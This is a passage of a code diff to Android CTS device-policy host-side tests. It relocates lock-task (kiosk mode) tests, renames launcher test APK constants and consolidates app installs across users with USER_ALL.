-    public void testLockTask_deviceOwnerUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        try {
-            installAppAsUser(INTENT_RECEIVER_APK, mPrimaryUserId);
-            executeDeviceOwnerTest("LockTaskTest");
-            assertMetricsLogged(getDevice(), () -> {
-                runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskTest", "testStartLockTask",
-                        mPrimaryUserId);
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
-                    .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .setBoolean(true)
-                    .setStrings(DEVICE_OWNER_PKG)
-                    .build());
-        } catch (AssertionError ex) {
-            // STOPSHIP(b/32771855), remove this once we fixed the bug.
-            executeShellCommand("dumpsys activity activities");
-            executeShellCommand("dumpsys window -a");
-            executeShellCommand("dumpsys activity service com.android.systemui");
-            throw ex;
-        } finally {
-            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
-        }
-    }
-
-    public void testLockTaskAfterReboot_deviceOwnerUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        try {
-            // Just start kiosk mode
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
-                    mPrimaryUserId);
-
-            // Reboot while in kiosk mode and then unlock the device
-            rebootAndWaitUntilReady();
-
-            // Check that kiosk mode is working and can't be interrupted
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
-        } finally {
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "clearDefaultHomeIntentReceiver", mPrimaryUserId);
-        }
-    }
-
-    public void testLockTaskAfterReboot_tryOpeningSettings_deviceOwnerUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        try {
-            // Just start kiosk mode
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
-                    mPrimaryUserId);
-
-            // Reboot while in kiosk mode and then unlock the device
-            rebootAndWaitUntilReady();
-
-            // Try to open settings via adb
-            executeShellCommand("am start -a android.settings.SETTINGS");
-
-            // Check again
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
-        } finally {
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "clearDefaultHomeIntentReceiver", mPrimaryUserId);
-        }
-    }
-
-    public void testLockTask_unaffiliatedUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
-
-        final int userId = createUser();
-        installAppAsUser(DEVICE_OWNER_APK, userId);
-        setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
-
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG,
-                ".AffiliationTest",
-                "testLockTaskMethodsThrowExceptionIfUnaffiliated",
-                userId);
-
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG,
-                ".AffiliationTest",
-                "testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated",
-                userId);
-    }
-
-    public void testLockTask_affiliatedSecondaryUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
-        final int userId = createAffiliatedSecondaryUser();
-        executeAffiliatedProfileOwnerTest("LockTaskTest", userId);
-    }
-
     public void testSystemUpdatePolicy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -813,23 +711,11 @@
             new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .build());
-
-        // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport) leaves a
-        // state where future bug report requests will fail
-        // TODO(b/130210665): replace this with use of NotificationListenerService to dismiss the
-        // bug report request
-        rebootAndWaitUntilReady();
-
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
         }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
                 .setAdminPackageName(DEVICE_OWNER_PKG)
                 .build());
-        // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport) leaves a
-        // state where future bug report requests will fail
-        // TODO(b/130210665): replace this with use of NotificationListenerService to dismiss the
-        // bug report request
-        rebootAndWaitUntilReady();
     }
 
     public void testBluetoothRestriction() throws Exception {
@@ -1041,7 +927,7 @@
     }
 
     public void testInstallUpdateLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isDeviceAb()) {
             return;
         }
         pushUpdateFileToDevice("wrongHash.zip");
@@ -1049,12 +935,10 @@
             executeDeviceTestMethod(".InstallUpdateTest", "testInstallUpdate_failWrongHash");
         }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_SYSTEM_UPDATE_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .setBoolean(isDeviceAb())
+                    .setBoolean(/* isDeviceAb */ true)
                     .build(),
             new DevicePolicyEventWrapper.Builder(EventId.INSTALL_SYSTEM_UPDATE_ERROR_VALUE)
-                    .setInt(isDeviceAb()
-                            ? UPDATE_ERROR_UPDATE_FILE_INVALID
-                            : UPDATE_ERROR_UNKNOWN)
+                    .setInt(UPDATE_ERROR_UPDATE_FILE_INVALID)
                     .build());
     }
 
@@ -1111,7 +995,7 @@
             // Install app to primary user
             installAppAsUser(BaseLauncherAppsTest.LAUNCHER_TESTS_APK, mPrimaryUserId);
             installAppAsUser(BaseLauncherAppsTest.LAUNCHER_TESTS_SUPPORT_APK, mPrimaryUserId);
-            installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mPrimaryUserId);
+            installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mPrimaryUserId);
 
             // Run test to check if launcher api shows hidden app
             String mSerialNumber = Integer.toString(getUserSerialNumber(USER_SYSTEM));
@@ -1121,7 +1005,7 @@
                     mPrimaryUserId, Collections.singletonMap(BaseLauncherAppsTest.PARAM_TEST_USER,
                             mSerialNumber));
         } finally {
-            getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+            getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
             getDevice().uninstallPackage(BaseLauncherAppsTest.LAUNCHER_TESTS_SUPPORT_APK);
             getDevice().uninstallPackage(BaseLauncherAppsTest.LAUNCHER_TESTS_APK);
         }
@@ -1135,15 +1019,6 @@
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId);
     }
 
-    private void executeAffiliatedProfileOwnerTest(String testClassName, int userId)
-            throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        String testClass = DEVICE_OWNER_PKG + "." + testClassName;
-        runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, userId);
-    }
-
     private void executeDeviceTestMethod(String className, String testName) throws Exception {
         if (!mHasFeature) {
             return;
@@ -1162,7 +1037,7 @@
         waitForBroadcastIdle();
         wakeupAndDismissKeyguard();
 
-        // Setting the same affiliation ids on both users and running the lock task tests.
+        // Setting the same affiliation ids on both users
         runDeviceTestsAsUser(
                 DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
         runDeviceTestsAsUser(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
old mode 100644
new mode 100755
index 960fbb2..d941316
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
@@ -32,8 +32,7 @@
                     TRANSFER_OWNER_OUTGOING_APK, TRANSFER_OWNER_OUTGOING_TEST_RECEIVER);
                 setSameAffiliationId(profileUserId, TRANSFER_PROFILE_OWNER_OUTGOING_TEST);
 
-                installAppAsUser(TRANSFER_OWNER_INCOMING_APK, mPrimaryUserId);
-                installAppAsUser(TRANSFER_OWNER_INCOMING_APK, profileUserId);
+                installAppAsUser(TRANSFER_OWNER_INCOMING_APK, USER_ALL);
                 mUserId = profileUserId;
             } else {
                 removeAdmin(TRANSFER_OWNER_OUTGOING_TEST_RECEIVER, mUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
old mode 100644
new mode 100755
index decab02..f8a78f0
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -31,8 +31,8 @@
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
-    private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
-            "CtsNoLaunchableActivityApp.apk";
+    private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+            "CtsHasLauncherActivityApp.apk";
 
     private int mProfileUserId;
     private int mParentUserId;
@@ -53,11 +53,10 @@
                     mProfileUserId);
             mProfileSerialNumber = Integer.toString(getUserSerialNumber(mProfileUserId));
             mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
-            startUser(mProfileUserId);
+            startUserAndWait(mProfileUserId);
 
             // Install test APK on primary user and the managed profile.
-            installTestApps(mPrimaryUserId);
-            installTestApps(mProfileUserId);
+            installTestApps(USER_ALL);
         }
     }
 
@@ -66,7 +65,7 @@
         if (mHasFeature) {
             removeUser(mProfileUserId);
             uninstallTestApps();
-            getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+            getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
         }
         super.tearDown();
     }
@@ -123,15 +122,15 @@
             return;
         }
         // Install app for all users.
-        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mParentUserId);
-        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mProfileUserId);
+        installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mParentUserId);
+        installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mProfileUserId);
 
         // Run tests to check SimpleApp exists in both profile and main user.
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testDoPoNoTestAppInjectedActivityFound",
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
-                LAUNCHER_TESTS_CLASS, "testNoLaunchableActivityAppHasAppDetailsActivityInjected",
+                LAUNCHER_TESTS_CLASS, "testHasLauncherActivityAppHasAppDetailsActivityInjected",
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
     }
 
@@ -166,7 +165,8 @@
         }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         startCallbackService(mPrimaryUserId);
-        installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+        installAppAsUser(SIMPLE_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true,
+                mProfileUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageChangedCallbackForUser",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
index 09d2541..fa92065 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -23,10 +23,10 @@
  */
 public class LimitAppIconHidingTest extends BaseLauncherAppsTest {
 
-    private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
-            "CtsNoLaunchableActivityApp.apk";
-    private static final String LAUNCHER_TESTS_NO_COMPONENT_APK =
-            "CtsNoComponentApp.apk";
+    private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+            "CtsHasLauncherActivityApp.apk";
+    private static final String LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK =
+            "CtsNoLauncherActivityApp.apk";
     private static final String LAUNCHER_TESTS_NO_PERMISSION_APK =
             "CtsNoPermissionApp.apk";
 
@@ -58,8 +58,8 @@
     @Override
     protected void installTestApps(int userId) throws Exception {
         super.installTestApps(mCurrentUserId);
-        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mCurrentUserId);
-        installAppAsUser(LAUNCHER_TESTS_NO_COMPONENT_APK, mCurrentUserId);
+        installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mCurrentUserId);
+        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK, mCurrentUserId);
         installAppAsUser(LAUNCHER_TESTS_NO_PERMISSION_APK, mCurrentUserId);
     }
 
@@ -67,16 +67,16 @@
     protected void uninstallTestApps() throws Exception {
         super.uninstallTestApps();
         getDevice().uninstallPackage(LAUNCHER_TESTS_NO_PERMISSION_APK);
-        getDevice().uninstallPackage(LAUNCHER_TESTS_NO_COMPONENT_APK);
-        getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+        getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK);
+        getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
     }
 
-    public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
+    public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
-                LAUNCHER_TESTS_CLASS, "testNoLaunchableActivityAppHasAppDetailsActivityInjected",
+                LAUNCHER_TESTS_CLASS, "testHasLauncherActivityAppHasAppDetailsActivityInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
@@ -89,12 +89,12 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
-    public void testNoComponentAppNotInjected() throws Exception {
+    public void testNoLauncherActivityAppNotInjected() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
-                LAUNCHER_TESTS_CLASS, "testNoComponentAppNotInjected",
+                LAUNCHER_TESTS_CLASS, "testNoLauncherActivityAppNotInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 01d64ed..0f54588 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -89,7 +89,7 @@
 
     private static final String PROFILE_CREDENTIAL = "1234";
     // This should be sufficiently larger than ProfileTimeoutTestHelper.TIMEOUT_MS
-    private static final int PROFILE_TIMEOUT_DELAY_MS = 40_000;
+    private static final int PROFILE_TIMEOUT_DELAY_MS = 60_000;
 
     //The maximum time to wait for user to be unlocked.
     private static final long USER_UNLOCK_TIMEOUT_NANO = 30_000_000_000L;
@@ -118,8 +118,10 @@
             mProfileUserId = createManagedProfile(mParentUserId);
             startUser(mProfileUserId);
 
-            installAppAsUser(MANAGED_PROFILE_APK, mParentUserId);
-            installAppAsUser(MANAGED_PROFILE_APK, mProfileUserId);
+            // Install the APK on both primary and profile user in one single transaction.
+            // If they were installed separately, the second installation would become an app
+            // update and result in the current running test process being killed.
+            installAppAsUser(MANAGED_PROFILE_APK, USER_ALL);
             setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
                     mProfileUserId);
             waitForUserUnlock();
@@ -488,10 +490,8 @@
         // intents resolution.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
                 "testDisableAllBrowsers", mProfileUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
-        installAppAsUser(INTENT_SENDER_APK, mParentUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
-        installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+        installAppAsUser(INTENT_SENDER_APK, USER_ALL);
 
         changeVerificationStatus(mParentUserId, INTENT_RECEIVER_PKG, "ask");
         changeVerificationStatus(mProfileUserId, INTENT_RECEIVER_PKG, "ask");
@@ -526,10 +526,8 @@
         // intents resolution.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
                 "testDisableAllBrowsers", mProfileUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
-        installAppAsUser(INTENT_SENDER_APK, mParentUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
-        installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+        installAppAsUser(INTENT_SENDER_APK, USER_ALL);
 
         final String APP_HANDLER_COMPONENT = "com.android.cts.intent.receiver/.AppLinkActivity";
 
@@ -589,10 +587,8 @@
 
         // Storage permission shouldn't be granted, we check if missing permissions are respected
         // in ContentTest#testSecurity.
-        installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, mParentUserId);
-        installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, mProfileUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
+        installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, USER_ALL);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
 
         // Test from parent to managed
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
@@ -615,8 +611,7 @@
             return;
         }
 
-        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
-        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         // Profile owner in the profile sets an empty whitelist
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -633,8 +628,7 @@
             return;
         }
 
-        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
-        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         // Profile owner in the profile sets a null whitelist
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -651,8 +645,7 @@
             return;
         }
 
-        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
-        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         // Profile owner in the profile adds listener to the whitelist
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -668,8 +661,7 @@
         if (!mHasFeature) {
             return;
         }
-        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
-        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
                 "testSetAndGetPermittedCrossProfileNotificationListeners", mProfileUserId,
@@ -680,10 +672,8 @@
         if (!mHasFeature) {
             return;
         }
-        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
-        installAppAsUser(INTENT_SENDER_APK, mParentUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
-        installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+        installAppAsUser(INTENT_SENDER_APK, USER_ALL);
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
                 "testAllowCrossProfileCopyPaste", mProfileUserId);
@@ -1001,8 +991,7 @@
         }
 
         try {
-            installAppAsUser(WIDGET_PROVIDER_APK, mProfileUserId);
-            installAppAsUser(WIDGET_PROVIDER_APK, mParentUserId);
+            installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
                     + " --package " + WIDGET_PROVIDER_PKG);
             setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
@@ -1048,8 +1037,7 @@
         }
 
         try {
-            installAppAsUser(WIDGET_PROVIDER_APK, mProfileUserId);
-            installAppAsUser(WIDGET_PROVIDER_APK, mParentUserId);
+            installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
                     + " --package " + WIDGET_PROVIDER_PKG);
             setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
@@ -1738,8 +1726,7 @@
                     "testAddTestAccount", mProfileUserId);
 
             // Install directory provider to both primary and managed profile
-            installAppAsUser(DIRECTORY_PROVIDER_APK, mProfileUserId);
-            installAppAsUser(DIRECTORY_PROVIDER_APK, mParentUserId);
+            installAppAsUser(DIRECTORY_PROVIDER_APK, USER_ALL);
             setDirectoryPrefix(PRIMARY_DIRECTORY_PREFIX, mParentUserId);
             setDirectoryPrefix(MANAGED_DIRECTORY_PREFIX, mProfileUserId);
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 1dc783e..6f3c07c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -16,16 +16,11 @@
 
 package com.android.cts.devicepolicy;
 
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-
 import android.stats.devicepolicy.EventId;
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 
-import java.io.File;
 import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
@@ -46,10 +41,9 @@
             mUserId = mPrimaryUserId;
 
             installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setDeviceOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            if (!setDeviceOwner(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId, /*expectFailure*/
+                    false)) {
+                removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId);
                 getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
                 fail("Failed to set device owner");
             }
@@ -60,11 +54,39 @@
     protected void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove device owner",
-                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+                    removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId));
         }
         super.tearDown();
     }
 
+    public void testLockTask_unaffiliatedUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+
+        final int userId = createSecondaryUserAsProfileOwner();
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG, ".AffiliationTest",
+                "testLockTaskMethodsThrowExceptionIfUnaffiliated", userId);
+
+        setUserAsAffiliatedUserToPrimary(userId);
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG,
+                ".AffiliationTest",
+                "testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated",
+                userId);
+    }
+
+    public void testLockTask_affiliatedSecondaryUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+        final int userId = createSecondaryUserAsProfileOwner();
+        switchToUser(userId);
+        setUserAsAffiliatedUserToPrimary(userId);
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockTaskTest", userId);
+    }
+
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         if (!mHasFeature) {
             return;
@@ -105,4 +127,26 @@
         result.add(DELEGATION_NETWORK_LOGGING);
         return result;
     }
+
+    private int createSecondaryUserAsProfileOwner() throws Exception {
+        final int userId = createUser();
+        installAppAsUser(INTENT_RECEIVER_APK, userId);
+        installAppAsUser(DEVICE_ADMIN_APK, userId);
+        setProfileOwnerOrFail(DEVICE_ADMIN_COMPONENT_FLATTENED, userId);
+        return userId;
+    }
+
+    private void switchToUser(int userId) throws Exception {
+        switchUser(userId);
+        waitForBroadcastIdle();
+        wakeupAndDismissKeyguard();
+    }
+
+    private void setUserAsAffiliatedUserToPrimary(int userId) throws Exception {
+        // Setting the same affiliation ids on both users
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 0417844..b3b48b4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -46,11 +46,11 @@
     private void createManagedProfile() throws Exception {
         mUserId = createManagedProfile(mParentUserId);
         switchUser(mParentUserId);
-        startUser(mUserId);
+        startUserAndWait(mUserId);
 
         installAppAsUser(DEVICE_ADMIN_APK, mUserId);
         setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-        startUser(mUserId);
+        startUserAndWait(mUserId);
     }
 
     @Override
@@ -220,4 +220,33 @@
                 "testSucceedsWithProfileOwnerIdsGrant", mUserId);
     }
 
+    @Override
+    public void testLockTask() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTaskAfterReboot() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTaskAfterReboot_tryOpeningSettings() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTask_defaultDialer() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTask_emergencyDialer() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTask_exitIfNoLongerWhitelisted() {
+        // Managed profiles are not allowed to use lock task
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 47b3539..7623b48 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -41,11 +41,11 @@
     private void createManagedProfile() throws Exception {
         mUserId = createManagedProfile(mParentUserId);
         switchUser(mParentUserId);
-        startUser(mUserId);
+        startUserAndWait(mUserId);
 
         installAppAsUser(DEVICE_ADMIN_APK, mUserId);
         setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-        startUser(mUserId);
+        startUserAndWait(mUserId);
     }
 
     @Override
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
old mode 100644
new mode 100755
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
index 65fd3ff..1bbc601 100644
